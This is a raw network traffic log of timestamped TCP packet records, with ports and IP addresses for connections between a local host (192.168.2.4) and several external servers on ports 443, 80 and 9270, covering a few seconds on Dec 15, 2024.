Dec 15, 2024 11:59:20.732729912 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.732772112 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.740526915 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.740582943 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.740593910 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.740662098 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.740668058 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.740715027 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.748584986 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.748694897 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.748759031 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.748835087 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.756808043 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.756880999 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.764256001 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.764309883 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.764343977 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.764467001 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.771910906 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.771979094 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.881232977 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.881500006 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.881531000 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.881589890 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.883680105 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.883748055 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.888375998 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.888463020 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.890254974 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.890316963 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.890338898 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.890393972 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.895164013 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.895227909 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.895246029 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.895302057 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.900194883 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.900271893 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.909468889 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.909538984 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.914166927 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.914237976 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.918855906 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.918927908 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.928240061 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.928316116 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.937552929 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.937648058 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.946866989 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.946975946 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.951708078 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.951780081 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.961047888 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.961142063 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.970293999 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.970402002 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.000929117 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.001004934 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.074357033 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.074426889 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.079410076 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.079471111 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.087126017 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.087193966 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.090851068 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.090912104 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.097867012 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.097935915 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.104707956 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.104772091 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.112509966 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.112575054 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.115220070 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.115286112 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.118144035 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.118200064 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.124556065 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.124619961 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.129631996 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.129697084 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.131680965 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.131747961 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.135468006 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.135531902 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.139344931 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.139720917 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.143034935 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.143203020 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.144990921 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.145174026 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.148798943 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.148876905 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.150798082 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.150856018 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.154592991 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.154670954 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.157356977 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.157421112 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.161215067 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.161284924 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.165009022 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.165075064 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.168869019 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.168943882 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.265942097 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.266012907 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.267528057 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.267596960 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.271356106 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.271441936 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.274908066 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.274964094 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.278455019 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.278522968 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.280267954 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.280333996 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.283770084 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.283842087 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.291527987 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.291538954 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.291558027 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.291590929 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.291631937 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.291645050 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.291733980 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.302380085 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.302402020 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.302459955 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.302478075 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.302510023 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.303205967 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.312335968 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.312355042 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.312402010 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.312436104 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.312465906 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.312757015 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.313996077 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.314059973 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.314074039 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.314101934 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.314156055 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.314228058 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.314263105 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:21.314285994 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.314536095 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:21.844121933 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:21.844315052 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:21.855530024 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:21.855585098 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:21.855814934 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:21.857651949 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:21.857697010 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:21.857750893 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:21.872848988 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:21.992813110 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:21.993619919 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:22.844465971 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:22.844546080 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:22.844607115 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:22.952176094 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:22.952213049 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:22.952230930 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:22.952239037 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:22.992703915 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:23.112838030 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:23.120575905 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:23.240679979 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:23.281229019 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:23.401062965 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:23.418080091 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:23.538178921 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:23.538263083 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:23.658299923 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:23.658802032 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:23.779982090 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:23.814237118 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:23.934148073 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:23.937388897 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.009938002 CET	49776	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:24.011851072 CET	49803	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:24.057188034 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.057254076 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.130412102 CET	80	49776	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:24.130630016 CET	49776	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:24.131714106 CET	80	49803	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:24.131887913 CET	49803	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:24.140189886 CET	49803	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:24.177098989 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.181667089 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.260669947 CET	80	49803	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:24.301670074 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.306225061 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.426047087 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.426233053 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.546164989 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.552571058 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.672734976 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.683214903 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.803113937 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.804375887 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:24.853327036 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:24.853372097 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:24.853441954 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:24.854054928 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:24.854068995 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:24.925296068 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:24.930233002 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:25.050082922 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:25.057362080 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:25.177448034 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:25.235223055 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:25.355294943 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:25.480372906 CET	80	49803	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:25.480465889 CET	49803	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:25.602478027 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:25.723179102 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:25.762696981 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:25.882782936 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:25.893853903 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:25.894098043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:25.903996944 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.014133930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:26.014195919 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:26.014202118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:26.014256001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:26.023997068 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.037054062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:26.045816898 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.156863928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:26.165766954 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.168684959 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.271092892 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:26.271174908 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:26.274310112 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:26.274322987 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:26.274528027 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:26.275573969 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:26.288850069 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.292547941 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.319344044 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:26.412456989 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.417618990 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.537713051 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.580977917 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.701086998 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.704729080 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.824724913 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.824786901 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:26.944588900 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:26.944658041 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.052648067 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.052711010 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.052716017 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.052747011 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.052773952 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.052789927 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.052838087 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.052850962 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.064477921 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.064544916 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.184468031 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.187643051 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.223803997 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.226169109 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.226203918 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.226243973 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.226264954 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.226268053 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.226315975 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.265227079 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.265252113 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.265304089 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.265309095 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.265321970 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.265357971 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.265373945 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.265453100 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.265573025 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.270739079 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.270764112 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.270776987 CET	49804	443	192.168.2.4	23.55.153.106
Dec 15, 2024 11:59:27.270783901 CET	443	49804	23.55.153.106	192.168.2.4
Dec 15, 2024 11:59:27.307915926 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.312346935 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.352060080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352149963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352185011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352220058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352240086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352251053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352277994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352293968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352314949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352329016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352354050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352371931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352392912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352405071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352428913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352440119 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352468014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.352474928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.352514029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.432511091 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.436064959 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.472464085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.472554922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.472645044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.476684093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.479756117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.544738054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.544784069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.544838905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.548938036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.550362110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.550404072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.550441027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.550477028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.556087971 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.558784962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.558851004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.558859110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.558859110 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.558902025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.567361116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.567420006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.567472935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.575948954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.576001883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.576069117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.584256887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.584310055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.584389925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.592668056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.592744112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.592797041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.600977898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.601067066 CET	80	49805	31.41.244.11	192.168.2.4
